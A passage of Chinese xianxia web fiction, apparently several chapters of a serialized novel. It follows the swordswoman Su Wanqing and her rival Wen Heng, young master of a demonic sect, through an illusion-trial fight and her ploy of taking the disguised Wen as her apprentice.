起初,入试的人大部分都选择了玄武峰的遇水幻境。其中有一人神色欣喜不已,只见他手持灵符,默念咒语。
才过半炷香便转换到了朱雀峰的藏火幻境,而后又穿梭至白虎峰的金光幻境,他使用最后一道灵符穿梭来至青龙峰设下的青木幻境时,还未停步,整个人就被弹出了若虚幻境。
她默然地摇了摇头,看着那名弟子未寻得灵剑便被驱逐而出。
来此体验了。真是儿戏,不成体统。
她打算再观察几个,来的人高过五百,极少部分会来迷沙幻境,此境也无难度,寥寥无几,人数着实有些匮乏。
其余四方倒是热闹,至少她是瞧见扮演幻境人物的弟子身临其境,置身于情景之中,很是欢喜。
既然如此,她拿着剑,寻个清静的地方坐着,刚坐下未过十息,狂风掠过迷沙幻境的每一寸土地,呼呼而来又呼呼而去,卷起满天沙尘。
*
黑云压境,苍穹皴裂,一股压抑的气息侵袭幻境里的所有,一道熟悉的身影毫不掩饰地出现在苏晚清的眼中。
“师兄,似有人闯入幻境。我去会会。”她执剑从而入,拦下袭向百姓的箭矢,一脚踹开了那些人。
奇怪的是,这里并无温衡的气息。思绪刚落,便有一箭直直冲她而来,她侧身躲过,挥手令其灰飞烟灭。
“温少主今日怎么换了副样子?是原本的样貌见不得人?脸可以不要,但你的气息可掩饰不掉。”
瞧着这张端正的脸,苏晚清眼前油然回想起那张说要取她性命的面庞。既然有胆子上山,她便有力气让他有来无回。
温衡睥睨的目光落在她的身上,眼底闪过几分狡黠,顷刻他似胜卷在握般道:“所有人的命都在我的手里,温、浅姑娘还想动手吗?”
他一抬手,便见他的指尖缠绕着诸多细黑的线,这些线正连接着迷沙幻境入试者的脖脖颈,只要他微微一扯,这些人立刻命丧当场,血溅三尺。
苏晚清未想此人竟是如此下作,语气藏着愠怒:“以无辜之人性命作为要挟,温衡,你还真是无所不用其极,卑鄙下流无耻。”
男子不语,只是渐渐拉紧线,威胁的眼神登然地落在她的视线。
“你想要什么?”苏晚清先稳住他。
想要什么?她应该知道才对。
温衡的话落在她的耳中,只听见他道:“自刎,死在我面前。”
苏晚清:“……”此男子心胸狭隘,竟如此记仇,实在算不上正人君子。
“好啊。”她答应得极为痛快,在温衡错愕的目光中执起灵剑,缓缓放至自己的脖颈之处,只要用力一划,她便会死。
温衡不敢相信苏晚清会赞同,据他的调查,她叛出清风明月派就是为了寻仇,竟然也会为一些素未谋面的人牺牲,真是匪夷所思。
他语气中有一丝惊讶,更多的是不解,“你当真愿意为了这些不相干的人去死?”
她拉长语音,“我可不是你——”她欲动手之际,忽而剑转方向,以迅雷不及掩耳之势移到他的身侧,一剑斩断他与幻境中人的羁绊,掌心落下与他相对。
他道:“有人出钱要你的性命,所以苏晚清,你的命我要定了。”
口气不小,苏晚清毫不胆怯,回道:“那得看你有没有这个本事。”
只见她的手中出现一个烟花竹筒,灵力将其推至空中,随即绽放出缃色的光芒。
她一掌袭向他的心口,却被他双手拦下,便将脚下一扫。男子见状盘旋而起,唤出魔音箫,缓缓放在唇边,正欲吹奏,苏晚清便执剑而来。
对峙之下,两人由陆地转至湖面,遥眼望向底下,是深不见底的渊,苏晚清趁他失神之际,一脚将其踢了下去。
而在关键之时,温衡掌心生出绳索,缠住她纤细的腰肢,将她一并带入了深渊,他的声音被风送到了她的耳中:“苏晚清,与我一起坠入深渊。”
17. 师尊,我想收个徒弟
此刻,若虚幻境已然发生了变动,天魔宗的气息全无,四面八方涌来意识全无的傀儡,疯狂地撕咬手无缚鸡之力的试炼者。
燕寒舟等人竭力拦下傀儡,余下九人一同执剑将百姓瞬移出境,立出结界。他们与傀儡相搏。期间,他貌似又瞧见柳宿眠的身影,追了上去。
几番风雨,终是他们取了胜。
背后之人为天魔宗,似乎是想通过幻境直达清风明月山,好在他们竭力阻止成功。
为保百姓安危,只能先行暂闭若虚幻境。待确定无疑,不存在危险后方可再次打开。
幸是大祸未铸成,只有几位试炼者受了伤。
九人关闭幻境,一齐站在山麓。若有仍要入试之人可留宿于清风明月,若经此一役,想即可下山者则视为弃权,清风明月也会派弟子护送其下山。
足足忙碌了三个时辰,总算是将所有事情都做了个了结,最后留在清风明月的试炼弟子不多,仅仅百人。
玄风长老清点人数时,发现少了一人,看了半晌,也未见其踪影,不禁走上前询问:“你们只余九人,还有一人去了何处?”
还有一人?
剩下的九人面面相觑,心里在想是少了何人。
一旁的燕寒舟则陷入了沉思,瞥了一眼,终是明白了一些,才道:“苏晚清。她应该还在幻境里面。”走的时候太急,忘了以灵符通知她,燕寒舟心中一阵懊悔。
玄风一副恨铁不成钢地看着他们几人,手指肆意于空中摆动着,又是叹了一口气,道:“若虚幻境已经强制关闭,三日不可再开,你们也太不谨慎了。”
燕寒舟则道:“长老,我以千羽入境将苏晚清带出。”千羽是燕寒舟的随身法器,可自由穿梭各地,实在算得上是个不错的宝贝。
他刚想迈步离开,便被一道熟悉的声音叫住,驻足停留于原地。
“不必,你师妹吉人自有天相。你随我来。”这道声音为凌霄所发,如今凌霄已然闭关结束,现得知幻境发生之事依然沉稳自如,只是安排一些相关事宜便带走了燕寒舟。
燕寒舟跟着凌霄入清风明月峰,走在其间,也不由得疑惑,莫非这就是师尊所说的机缘。
面前之人止步,燕寒舟也跟着停步,目光袭向最引人注目之地,万千闪烁的辰星映入眼帘,其北七星连接成斗,于无际的黑夜里散出微弱的光芒。
燕寒舟刚一抬手,头顶上的一颗辰星似受到感应一般,越发璀璨夺目,光芒绽放之余以连接之线连接于他的手臂。
他有些吃惊,视线紧紧追随着那颗辰星,一直走到观星台,直到灿若繁星的字体悄然出现,持续几刻便消失得无影无踪,属于他的那颗星也就此暗然归寂。
他勉强认出了几个奇怪的图样,推测出些意思,但仍是疑惑,只道:“师尊,这些是何意?”
凌霄与其站在观星台,大手一挥,此间黑暗无所遁形,皆被强光吞噬殆尽。而后取来燕寒舟的命星,再交给他道:“本座曾为你三人推演天命,崔瑶命格所呈吉兆,唯有你与晚清皆为凶兆,主七杀,凶险,但亦可置之死地而后生,不必杞人忧天。”
“待你主持完毕,替为师去趟北海寻样东西,届时再告知你。”
燕寒舟迟疑地点了下头,努力使自己理解师尊话里的意思,将这次若虚幻境之事与此相连,顷刻之间犹如醍醐灌顶般道:“弟子谨记。”
他看懂了一些,也看到了苏晚清的辰星,只是在其旁边竟有一颗微暗的星跟随,正欲开口询问,又觉不妥,终是换了个问题。
“师尊,弟子三日过后重开幻境,为护入试百姓的安危,只设一处幻境,弟子打算以朱雀峰幻境为测试之所,不知师尊有何指教?”
凌霄默许了他的想法,令他先行退下。待其走后,凌霄随手击中挂在墙上已久的画卷,轰的一声,原本紧闭的墙壁即刻打开,凌霄缓慢迈步入内,寂静再次取代此处。
*
深渊之下,不见底处,处处黑暗,坠落的瞬间苏晚清耳中犹如骤然失去听觉般,她能抓住的东西少之又少。唯有随身携带的白绫可支撑她缓慢降落。
临近底部时,她一阵剑光横扫而去,确认不会有危险才跃了下去,手在落地之时不小心被身侧锋利的东西割伤,她嘶了一声,扯下衣衫,将伤口包起来。
还未反应过来,颈部便传来一阵冰凉,不用想也知道是何人所为。她没在意地推开那人的箫,道:“你杀了我也无用,如今幻境已被关闭,没有我师兄的千羽,你断然走不出去。”
她知道,温衡暂时不会动手,他还需要一个引路人,即便动起手来也无事,她未必会输给一个天魔宗的人。
她拿出萤火灯照照,才发觉此处竟是剑山倒悬,若是刚才贸然跳下来,只怕也会被扎成刺猬。
旁边传来一声轻蔑,温衡靠在墙上,注视着正在开路的苏晚清,眼尾不由得多了一丝意味,他道:“苏晚清,再留你三日,三日过后,我定取你性命。”
她闻言,偏了一下头,却没有看他,只是继续执剑将众多耸立向上的剑砍去,摇了摇头道:“温衡,何人要取我性命?秋无意?”
这倒是个好问题,温衡想也不想就道:“你求我,我就告诉你。”
话音刚落,就传来女子散漫的声音,“我求你。”
温衡:“……”说求就求,这没骨气的女子。
那道倩影映在他的眼帘之中,仅凭一盏忽明忽暗的灯,背对着他,也不怕他伺机而动,直接杀了她。
没心没肺。
他转了话锋,只道:“苏姑娘想空手套白狼,少说也得花点钱财买点消息,你当初杀了万俟亥就该知道有很多人要你的命,何处不能去,偏要回清风明月,自寻死路。”
苏晚清怔了一下,转而一剑袭向对岸,走到他的面前,笑意吟吟地道:“天魔宗少主居然也会关心人,实在罕见。若不是秋无意,我还真猜不出是谁。你这次,不是来杀我的吧。”
这个女子的笑让他心烦意乱,他别过眼,冷哼一声道:“你这女子,为何会如此自作多情?”
起初他因她失意,被打下深渊,关键时刻只能将她一起拽下,眼下他看着眼前的女子,那些记忆又不断涌向脑海。
她不恼怒,也不揭穿他,只是自觉地让开一条道,歪了一下头,示意他先走,“你三番两次杀我,我都可以既往不咎,我如今就想知道三件事。”
温衡倒是一点也不客气,瞥了她一眼后自顾走在前面,任由她的声音落在身后:“一你为何会有我师兄的玉坠,还是说你三年前一直监视于我?二你为何要杀司马觉?三这玉箫你哪来的?”
他一经转身,苏晚清差点撞了上去,忍着翻白眼的动作,她等着他的回答。
那副盛气凌人的模样看得人着实不爽,尤其还是如此讨厌之人。
“你为何会觉得我会答你的问题?”温衡看着半退后步的女子,也不深究,耳中响过“司马觉”三个字时,嘴角不由得扬起,打趣的意味不由得明显了些,他忍不住道:“说到底,还是为了情郎啊。”
此人为何就是抓不住重点,苏晚清淡然一笑,心中忽然有了个想法,打算顺着他的话接下去:“这不用你管,说说吧,为什么要杀他?”
回答一个问题也好,总比一个都没有要好。
温衡一副看透了她的眼神,眼底霎时沦为不屑之色,顷刻过后,他选择答了她这问题:“司马觉这个人我调查过,远不是你所见那般,比起辅城王,他更该死。”
“你与他有仇?”苏晚清追问道。
温衡回避她的眼神,再道:“无仇无怨,但他与你一样,有的是人想取性命。我不过是已露锋芒的刀。你护得了他一时,能护一世?”
为何这句话听上去好似一个苦口婆心劝她离开司马觉的密友,这会儿她倒不觉得温衡这个人令人生厌了。
但她与司马觉相识一场,儿时的司马觉是很善良,一心只想与司马如意修好,纵使王府无人尊重他这个未来的储君,但司马觉依旧对其敬重有加。
思来想去,苏晚清不想落了下风,立即道:“至少司马觉不会死在温公子你的手上。”
“呵。算你厉害。”温衡似被她的话呛到,但脸上依旧是副精打细算的样子,当苏晚清以为他选择保持沉默时,他放了句狠话:“就冲你这句话,我一定要司马觉死在我的手上。”
苏晚清:“……”较劲?白日做梦。
温衡不再与她争辩,而是快步向前走去,将苏晚清狠狠甩在了身后,又觉不妥,施法将未开之路的剑山移在他们之间,成为了阻隔的桎梏。
苏晚清也不准备挪开,就地而坐,背靠在她的灵剑,虽有凉意,但不觉寒冷。
漆黑之中不见星、不见月,只余遁入黑夜的寂静,万籁俱寂。苍茫云间若咫尺天涯,又如海市蜃楼。
“三年前你一直在跟着我,却不动手杀我,你不算滥杀之辈,我且问你最后一次,你为何会有李若
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酌的魔音箫?”
无人回应。
苏晚清久久不见男子回应,心想是那辈故意装作入眠之态,不想回应,正抬眼望去之时,她先是愣了一下,温衡竟真已熟睡,他的呼吸声比之前重了许多。
真能睡。
她借着微弱的光瞧见男子拿在手中的魔音箫,视线不觉上移至男子的脸,未醒,正合她意。
于是她将主意打在了那支玉箫上,顺手抽了过来。此箫是上好的和田青白玉制成,质地细腻光滑且温润,恰似雪山映在羲和晨光的照拂,又若寒梅于寒冷孤寂骤放,纯洁而雅致。
上面还刻了字,她转了一圈玉箫,也未认出那是何字,未等她细细琢磨,男子便将东西夺了回去。
温衡睡眼惺忪,疲倦深深地藏在眼底,纵使如此,他还是有精力讥讽一番苏晚清:“苏晚清,盗贼盗了东西都会一走了之,只有你还愚蠢地留在原地。”
他本想阖眼小憩一会,但未想到竟睡了过去,潜意识还能保持些许清醒,他就知道这个女子不会就此安安静静地待着。
苏晚清望着已空的手,顿了半刻,扯出几抹笑容,两手拍了拍,他的话丝毫影响不了她,是无关痛痒。她起身,也不再靠在剑身,道:“既然醒了,就回答我的问题。礼尚往来,我也答你一个问题。”
温衡将玉箫重新放回腰间,目光落在桎梏之外的苏晚清,突然来了兴趣,道:“真有意思。我先问你,你腰上的玉佩从何处得来的?”正是那物令他失神,熟悉又陌生的感觉。
玉佩?苏晚清顺手摘了下来,拿在眼前观摩,儿时的记忆在此刻涌现而来,她道:“温少主不会是说这是你之物吧?此为从前司马觉赠予我的玉佩。”
在此之前,她并未佩戴玉佩,只因是她在崔瑶的床上偶然瞥到了一眼,这才拿了回来,觉得好看别致便留了下来。
看来不是他的东西。
温衡眸中闪过一丝失落,但即刻化作灰飞散去,他抬眸看了一眼逐渐皲裂的苍穹,再将视线转移到她的身上,道:“礼尚往来。去年,我在一处不知名的山村碰见李若酌,觉得此箫好看,便拿了过来用用。”
拿?怕不是抢吧。
她闻言,内心波澜四起,极力压下后沉稳地道:“你见过李若酌?他如今在何处?”
温衡将她的意图探清,随口说了句话:“死了。”他也不知李若酌是否存活。
“如何死的?”她问。
他似被问得有些不耐,语气里藏着不耐烦,但听她的如此急切的语气,大概也猜出了一些,他道:“被杀死的。看来十三年前的苏太师灭门之事与李若酌有关啊。”
“温公子,你僭越了。”苏晚清见温衡不会将事实相告,也不再执着从他的口中得知有用的信息。
*
这里算是若虚幻境的禁地,不受灵符的传唤,一般人特别是寻常人无法企及此处,只有像他们一样是幻境的构造者才会知晓,但温衡看上去为何会对此轻车熟路。
问了也未知。
他们后面分道扬镳,各自上岸,体验了一把若虚幻境之中的五行阵法,又在三日之后于幻境出口相逢。
温衡早早在此等候,看这气势汹汹的样子,以箫化剑,势必要取她性命方可。
她忍不住道:“又要取我性命?我的命究竟有多值钱?”
“一千两黄金。”温衡蓄势待发,也不等她的回应落下,乘风而起,攻势猛烈而去,紧追着女子不放。
竟如此值钱,苏晚清不由得在心中感叹,这个要她命的人出手还真是阔绰,若是能给她,任她遨游一年,她立即自刎。
苏晚清也不再嬉皮笑脸,认真了许多,如今的温衡三日未进食,单凭体力,他占了下风。
……事实证明,男子不进食水也能生龙活虎,打了半个时辰,依旧不减最初。
“轰”的一声响遍整个若虚幻境,黑暗笼罩着的一切被随之而来的光芒驱散,而温衡却在下一刻意识涣散,视线开始模糊不清,他指着苏晚清道:“你这女子,使诈。”大概持续了半刻,但苏晚清眼疾手快立即来到他的旁边。
苏晚清笑了笑,手轻轻划在他的脸侧,出手干脆利落,道:“你不是也使诈了?前两日偷偷给我下毒,若我不防,岂不就死在你手中了?”
大手一挥,男子便倒在了地上。她随手拿出了一样手镯,正准备戴在他的手上,
刚触及之时,温衡化作一道流光离去,远远追及不上。
18. 从今天起,我就是你的师父
后来,她在入试弟子之中一眼瞧见了又易容的温衡,当即便和师尊提议,她想收个徒弟。
师尊也无半分怀疑,似早有预料般同意了。但温衡一听,瞬间白了苏晚清一眼,立即拒绝道:“仙长,弟子愚昧无知,只想入白川长老门下。”
苏晚清却道:“哎,你入了我的门下,好处多的是。”
她倒要看看温衡上清风明月山做何事,既然不是来杀她的,那断然也绝非好事。
她话也已经说出,几位长老自她来山便对她宠爱有加,自然不会与她相争,一来二去,温衡便还是落到了她的手中。
他们站在山门前,温衡刚一抬手,准备动手,一道力量直冲他而来,躲避之时自己的手腕便被套入了何样东西,灵力一时半会儿竟施展不出,耳边是女子银铃般的笑语:“以后,我便是你的师父。这是送你的礼物。”
这女子,根本不给他拒绝的机会。
“男子配玉镯,不妥吧。”他顺手摘了下来,刚脱手,那玉镯便化作一枚细小的扳指,钻入他左手拇指之上。
“见面礼,不必言谢。”
温衡:“……”突然不想杀这个女子了,先观察几日。
他更换了几次容貌,照理说这苏晚清应当认不出他,不将这清风明月搅得天翻地覆他便不姓温,眼前的女子背对着他,将自己的目光望向远处寒山的红卷霞云。
那一声师父,他断然叫不出口。
他只是“嗯”了声,便不再做声,他扮演的是一个沉默寡言的庸才弟子,少说多做才是他的本色。
苏晚清往后睨了一眼,漫不经心地道:“你叫什么名字?”她倒要看看,温衡想做什么。
温衡在脑海中想了一遍名字,迅速过滤掉难听拗口的字,忽然定格,他随意组合了个名字,道:“苏,苏深。”
“你也姓苏,真是莫大的缘分。为什么想来清风明月山?”
他胡诌道:“我仰慕清风明月已久,想成仙,长生不老。”风吹过两人的衣袂,飘飞若羽,轻盈自在。
苏晚清不知是被他的话逗笑还是觉得两人此刻的处境好笑,她转身盯着温衡,眼里一阵打量,喜色流转。随即大步往前走,招呼他跟上:“志向不错。跟上来,随为师去白虎峰。”
为师?她还真是转变得快。温衡走了几步,就说想如厕,急忙跟着刚好路过的男弟子离开。
又在使些什么坏?苏晚清刚想跟上去,身后便传来一道较为温柔的声音,她立即转身望去,礼貌一笑,关心地问道:“师姐伤势如何了?”
前几日司马如意在若虚幻境中受了伤,今日才下床行走,不巧就碰上了她。
司马如意倒觉自己无事,若与故人叙述寻常事般,但其语气明显带着担忧之意,落在她的耳中,司马如意道:“我已无事,倒是裴师妹伤得很重。现在都还躺在床上,我们此前一直未发现她受伤,直到一切事情处理殆尽昏了过去,我们方才知晓。”
“柳宿眠已被击退,守山结界关闭,天魔宗的人进不来,你们也能安心许多。”她一直记得裴忆锦受伤的事,想着闲暇之余便去看望,哪知被诸多事情给耽误了。
她转而又道:“我待会儿去看看她。”
“听说你收了个弟子?你当真要留在清风明月?”司马如意敷衍地回应,漫不经心地道。
她不知是试探还是真的关心。
苏晚清答道:“留下未必不是好事。这个弟子深得我意,我喜欢极了。”她的眉眼微弯,笑容肆意,当真是十分满意新收的弟子。
司马如意:“……”呵。
“师妹天赋异禀,师姐很是羡慕。”司马如意客套地说着,语气满是羡慕,但苏晚清看得出司马如意眼中那抹不易察觉的暗涌,只是笑笑道:“师姐,你过誉了。师妹才是羡慕你呢。你贵为衡阳郡主,却甘愿来此受苦。”
她将话又绕回了司马如意身上。
司马如意道:“我们也不必相互吹捧了,师姐想问问,你今后是如何打算的?当真就不顾山阳那边的事了?”
她在山阳之事也被大多数人知晓,回去定是要回去的,只是时候未到。眼下还有个人要处理,苏晚清回答道:“清水居有故人等候,师姐怎说得必须要割舍一方才行?我知师姐挂忧,我先谢过师姐了。”
她与司马如意的交情并不深厚,也不知其打探她的去向的意图为何,若说是普通的同门关照,从前并未见其有交好之意。
纵使她错开了话题,但司马如意又转了回来,再次将话题移到温衡的身上,“你为何想收徒了?你可有事瞒着我们?”
“师姐,实不相瞒。我一见苏深便觉他长得像我逝去已久的弟弟,甚是亲切,我知有诸多方法,但我终有一日是要离开的,有羁绊联系,我也能时时挂念。”
这话说得好似真心语般,听得司马如意半信半疑,也尽力去理解她的意思,含糊地点了点头,客套几语,便也打算言归正传:
“近日以来,我常忧心父王,盛京来了书信,他入山被妖所伤,听闻师妹的瑶光镜有驱邪灭妖的神效,我可否向师妹借之,待我解救父王,定归还于你。”
原来师姐醉翁之意在此,苏晚清自然不愿驳了司马如意的愿,当即便将瑶光镜递给她,并道:“师姐有求,乃我之幸。”
她的眼中毫无犹豫之意,如此洒脱,这着实令司马如意受宠若惊,愣了半刻才将东西接过,收入袖中,道着谢:“晚清此情,师姐便先记下。来日若有需要,我定投桃报李。”
“师姐客气了。”
得到想要之物,司马如意本想邀她同去膳堂,但苏晚清选择婉拒,只道自己有些事情未处理好。
她可得好好盯着温衡。
*
苏晚清打算先去青龙峰看望了身受重伤的裴忆锦,走在途中,她低头看了眼右手若隐若现的手镯,闪了三息,又自动熄灭。她似有动容,但依旧是踏入了前往青龙峰的路。
拢月长老外出云游,不在青龙峰内,她自顾入了青龙峰,这里的弟子彬彬有礼,见了她也停下手中之事唤几声师姐。
她问了裴忆锦的房间在何处,不知为何,她竟从那些弟子的脸上瞧出几分赧颜,也不想去深究,知了去处,便不再逗留。
前面有两位挽着手并肩而行的女修,时而能传来轻盈的笑语,苏晚清默默跟在后面,与其拉开距离,本着不窃听旁人之语的原则,无奈她们说话的声音太大,不得已入了她的耳中。
貌似是关于裴忆锦的话:
“裴忆锦伤势未愈也要下山,你说她是去见谁了?难不成是之前一直与她有书信来往的江湖客?”
“别了吧,我觉得她是去会情郎了,她没有家人,也没有朋友,除了情郎,我想不出别的。”
“师父曾言不可随意下山,她也不是一次两次了,我们作为师姐,是不是得以身作则,赏罚分明?”
“我觉得可行,此事我们不可直接言明,要我来看,文竹小师妹最适合做这事……”
苏晚清尴尬地咳了几声,迈步走到她们旁边,眼见其嘴唇翕动,似有话解释。于是她抢先说道:“二位师妹,许久未见,倒是越发伶俐了,不过二位师妹在背后肆意谈资他人,着实有失风范。我是来寻裴师妹的,顺道将掌门赠的灵药送来,劳烦师妹带个路。”
寂静无声,耳中清静了不少。走至门外,她们便头也不回地离开了此地,期间还是忍不住回头瞥了一眼苏晚清。
她未理会,只是敲了敲门,进门扶着要下床的裴忆锦,见其伤势实在严重,心想替其疗伤,亦如心所想而做。
“师姐怎么来了?”裴忆锦嘴唇泛白,气若游丝地道。身子暖了一些,疼痛却是缓解了不少,对于苏晚清的好感也多了许多。
苏晚清收手,将灵药递去,嘱咐道:“我来给师妹送点灵药,你好好休息。近几日切记不可下山,先休养方可。”
她一言,裴忆锦便猜到了些许,沉默低头,顷刻似做了很多的准备,话呼之欲出,又悬在嘴边,迟迟未能落下。
苏晚清
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瞧着那双缀了泪珠的眼,安慰的话即出,便先传来裴忆锦啜泣的声音:“苏师姐,我……你,当初是我在房中找到了无尘派掌门的聚魂铃,我也不知道……呜,是我的错。”
她只能安慰地拍拍裴忆锦的背,道自己已忘却这些旧事,但她猜到了一些,正是因为是裴忆锦寻出了聚魂铃,才令那些原本对其生厌的弟子越发变本加厉欺负。
“这与你本就无关。”苏晚清坐在其旁边,语气放柔了些,“我知裴师妹依旧如从前般温柔可爱。好好养伤才是眼下最重要的,孟师兄也与拢月长老离开了吗?”
裴忆锦摇头,吸了一下鼻子,道:“师兄下山了。”
这孟世行未免也太不靠谱,任由裴忆锦的伤势恶化,她心疼地看了一眼裴忆锦,提议其与她一道回清风明月峰养伤,但裴忆锦回绝了。
“师姐来寻我,应当还有别的事吧?”看不出来,裴忆锦也如此聪慧。
既然如此,那她便开门见山,她的目光毫不掩饰地落在裴忆锦房中正燃着的香草熏香,她道:
“那日在赎罪堂我见到了陆竟渊,他先是去见了李淮颂,而后又进了另外一处地方,待我晚上再见他之时,不经意间嗅到了他身上的香草的气息,之后在洞穴中师妹靠近我时我也闻到了相似的香草味。小锦,这应该不是巧合。”
裴忆锦惊讶地抬头,眼里瞬间可见慌乱与几分心虚,刚想反驳,又闻来苏晚清的声音:“我此来,并不是要做什么,只是希望师妹能与陆竟渊少些来往。陆竟渊这个人,野心太重。”
“师姐,不是这样的。陆公子是个很好的人……”脱口而出的话是为陆竟渊辩解,裴忆锦发觉时话已落在两人之间,那些未知的答案在此刻显得格外明晰。
苏晚清偏了一下头,那眼神仿佛在说“还说你与陆竟渊没有什么”,她也不与裴忆锦争论,告诫也已言说,剩下便看裴忆锦如何抉择。
“苏师姐,你早就知道了,却未揭发是我将消息泄露,你究竟想做什么?是想和他们一样威胁我吗?”裴忆锦一改刚才的柔弱,话也生硬了很多。
很显然,并不是。苏晚清解释道:“威胁你我也不能得到什么。小锦,你多心了。我与陆竟渊打过交道,深知此人的秉性。”
裴忆锦忽然对她笑了笑,道:“师姐所言,我记下了。谢谢师姐的好意,我会好好斟酌,定不会辜负师姐。”
是告诫,也是提醒,苏晚清不希望裴忆锦越陷越深,盼其早日走出囹圄之地。
裴忆锦紧盯着那道离去的背影,眼底的笑意渐渐流失,转由不可言明的意味替代。
*
出了门,苏晚清依照手镯给的提示,位置显示在白虎峰的镇水楼。
以迅雷不及掩耳之势来到温衡的身后,四下无人,还是说是他支开了这里的人,只见他将灵力汇聚于掌心正欲攻向镇水楼的结界。
关键之际,她叫住他,如箭在弦上的攻击被强行收回,立即反噬到他的身上,此刻,温衡恨不得以眼神为刃,刀了这个坏事的女子。
“苏深,不是让你回清风明月峰吗?怎么来白虎峰了?”
他强忍着怒气,压下杀心,三息后目光忽而天真烂漫无比,道:“弟子久闻清风明月地大物博,经书万卷,景更是美不胜收,一时之间流连忘返。”
她了然,道:“以后有的是机会,随为师回去吧。”
“我再看看,师父,你请先回,我随后就来。”温衡好不容易支走了这里看守的人,又来一个烦人的苏晚清,真是狗皮膏药,甩也甩不掉。
苏晚清偏偏不给他机会,非要等他一起,说是怕他迷路,寻不到回去的路。
她一直跟着,根本没机会下手,何况此结界也尤为古怪,八方位置一直在转换,加之苏晚清在旁边干扰,一时半会参不透其中的奥妙。
先作罢,再寻个机会,来日方长。
“苏深,随我来。”女子的声音不快不慢地落下,在他的耳中尤为刺耳,他不情不愿地跟了上去,道:“来了。”
19. 草木村遇妖毒
温衡心里一喜,他们的动作还算快,转身欲走,下一刻被一股莫名的力量扯了过去,差点撞上苏晚清。
“你做什么?”
“师父都没有走,你走什么?无礼。”
温衡被她用细线牵着,一同走向那位慌慌张张的弟子,那弟子说草木村的百姓忽然没了意识,负责巡逻的人去查看时不慎被暴走的村民咬了一口,竟也变得和他们一样。
清风明月山派各峰派出了相关的弟子,一齐往山下赶去,几位长老匆匆忙忙瞧了她一眼,似有言语,但并未言说。
苏晚清看了他一眼,立即往房中赶去,其中不忘扯着温衡一起去,她不放心这个人,一点也不放心。
她住在清风明月峰的小院,虽已陈旧,但还算雅致,院中硕大的古榕树枝干疯长,低下万千藤蔓,任由曦光穿梭其中,斑驳陆离,映照于长满花草的地面。
他们快步掠过白虎峰,有大半的人已被调下山,此刻的白虎峰,人影稀稀落落,难见成群的弟子。
“你到底要做什么?苏晚清!”他忍不住挣脱开她的桎梏,暗色的灵力斩断了他们之间的牵连。
顷刻,苏晚清甩开他的手,问道:“不装了?”
温衡不再犹豫,轻笑出声,毅然瞬移至镇水楼前,将苏晚清远远甩在身后。
他仰头望去,尽是斑斓辉映的结界结出的灵力粉尘相互交错。
还未等他动手,对面便传来一阵动静,他即刻躲在一旁的假山石中,默然注视眼前发生的一切。
那是一名着紫衫的男弟子,只见其面露慌张,如受了惊的兔子般猛得奔疾在白虎峰内,他恍然瞧见那名弟子手上的蓝色琉璃,上面的黑色蝴蝶标志醒目又熟悉。
温衡匆匆看了一眼屹立的镇水楼,便快步跟了上去。
果不其然,这人是天魔宗安插进来的奸细,此刻正准备在甘泉下毒,紫色粉末欲落井中之时,温衡出手将其夺了过来。
那人不解,却也凭借着灵息认出了温衡,半跪在地上道:“少主,这是千载难逢的机会,您为何阻我?”
温衡转手毁去害人之物,掸了掸手,他的脸上犹有几分不屑,语气轻慢,肆意道:“这么下作的手段左护法也屡试不爽。”
“退下吧。”
那人闻言,迟迟未退下,心里思忖着是否应该遵循温衡的意思,左护法的意思是:若温衡有意阻拦,便趁其不备,就地杀之——结果一动手便被温衡反手制服,一掌击退,未等反应过来,自己的身躯被一支玉箫穿透,瞬间化为乌有。
“柳宿眠未免也太看不起我了,派个小虾米来逗我吗?”
他的嘴角逐渐上扬,摘下戴了已久的扳指,捏成粉末散去。
随后他两掌相对而后拉开距离,玉箫自他两掌之间出现,迅速击向结界。一阵疾风呼啸而过,结界亦被破出一道细小的扣子,他趁机涌入其间。
今日顺利得不太正常,温衡心中总有一种不详的预感,一切都来得太快,清风明月派竟真的一点不设防,是早有预言,还是当真愚蠢至此?
刚一入内,一道红光袭向他的周身,从他的身侧划过。
霎那间,苏晚清那张娇俏的脸油然出现他那双充满震惊的眼里,看来还是他小瞧了苏晚清。
“温衡,是不是没想到我会在这里?”
苏晚清站在他的身后,刚触及至他的肩膀,温衡的身影就移到了她的眼前,那双含情眼中的审视之意暴露而出。
但苏晚清淡然看之,她早知他存了夺取昆玉剑的心思,特意在此等候他的到来。
温衡有些疑惑,道:“你是怎么认出我的?”
“忘了告诉你,我这个人最擅长的事就是观察。尤其还是对你,我更是不能懈怠。”
这还得从重开的幻境说起,那时的温衡重新换了副容貌,谈吐、气质接连变化。
起初苏晚清并没有认出他,直到温衡面对徒手制服“饕餮”的从容与那充满傲气与杀意的眼神,更为明显的是他不经意间流露出的妖邪之气,苏晚清看得可是清清楚楚。
温衡抓住重点,道:“原来你竟如此关注我,这也不重要了。昆玉剑我志在必得,你拦不住我。”
他欲动手,不再费口舌之争,临近之时,却听苏晚清言:“拦不拦得住,你说了不算。”
“天魔宗今日势必踏平清风明月。”
苏晚清轻笑一声,眼底几分惋惜划过,只听她语中掩藏着些许失望:“温衡,话不要说得太满。”
“若是你此刻求我,我会让你好好活着”温衡的玉箫闪烁无比,暗黑色的气息不断涌出,于空气里与来自苏晚清的那股蓝色灵力气息相互碰撞。
“……”
不可能。
她似下决心般,凝掌后迅速结印,嘴唇翕动,抬手间灵流若百川归海般涌向温衡,听见其言:“念·三千真境,束为囹圄。”
“走,跟我去个地方。”
光束化为三千,直直向他侵袭而去,苏晚清与他交手了几刻,凭着敏捷身手躲过,扯着他的衣袖,将其一并带入了真境之中。
温衡与苏晚清并肩站在一处,他嫌弃地扯回自己的衣袖,与她一起望向底下,不解地道:“你又想做什么?”
他们站在上方,只要俯瞰一二便能看到草木村里的情况,大多数清风明月派的弟子、长老聚集在那,使出浑身解数救治中毒的村民。
苏晚清回头瞥了他一眼,自觉向旁边迈了几步,语气暗含讽刺之意,但眼中毫无波澜,她道:“只有莽夫才知道以武力解决事情。今日我不想与你比试,我想与你做笔交易。”
她与温衡交手不下三次,次次占不了上风,亦落不了下风,如此来往非长久之计。
一直打并不是个极好的选择,若是可以,以计止战,有更好的方法也不失为更好的选择。既然温衡为昆玉而来,何不与其商榷一二。
温衡问道:“我是莽夫?”
“……重点是我想与你做笔交易。”苏晚清提醒着,将话题拉了回来。
“什么交易?说来听听。”
据她观察温衡的这几日,她发觉此人看似讨厌,实则也不讨人喜欢。
此男与柳宿眠相比之下,稍逊,虽自私,但至少存着一点良心,仍有谈判的机会,她思量了会儿,道:“昆玉剑我可以还给你,但你得助我击退天魔宗。”
